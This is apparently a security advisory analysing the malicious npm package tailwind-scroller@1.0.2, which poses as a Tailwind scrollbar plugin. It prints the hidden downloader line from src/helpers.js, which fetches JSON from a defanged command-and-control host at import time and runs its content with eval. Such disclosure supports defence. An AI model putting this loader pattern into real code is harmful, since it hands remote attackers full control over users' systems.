tailwind-scroller@1.0.2

Analysis

Package tailwind-scroller@1.0.2 masquerades as a Tailwind CSS scrollbar plugin but contains a remote code execution downloader. The file src/helpers.js includes a base64-encoded URL (hxxps://www[.]jsonkeeper[.]com/b/Y12K7) that is fetched at require time via fetch().then(r=>r.json()).then(d=>{eval(d.content);}). The fetched JSON's "content" field is evaluated as arbitrary JavaScript, giving the remote host full control over the runtime environment. The package has no lifecycle hooks — execution occurs when the package is imported by Node.js code. The C2 host is www[.]jsonkeeper[.]com, path /b/Y12K7. The remaining files (src/index.js, src/utilities.js, src/variants.js) contain legitimate Tailwind scrollbar styling code that serves as a facade.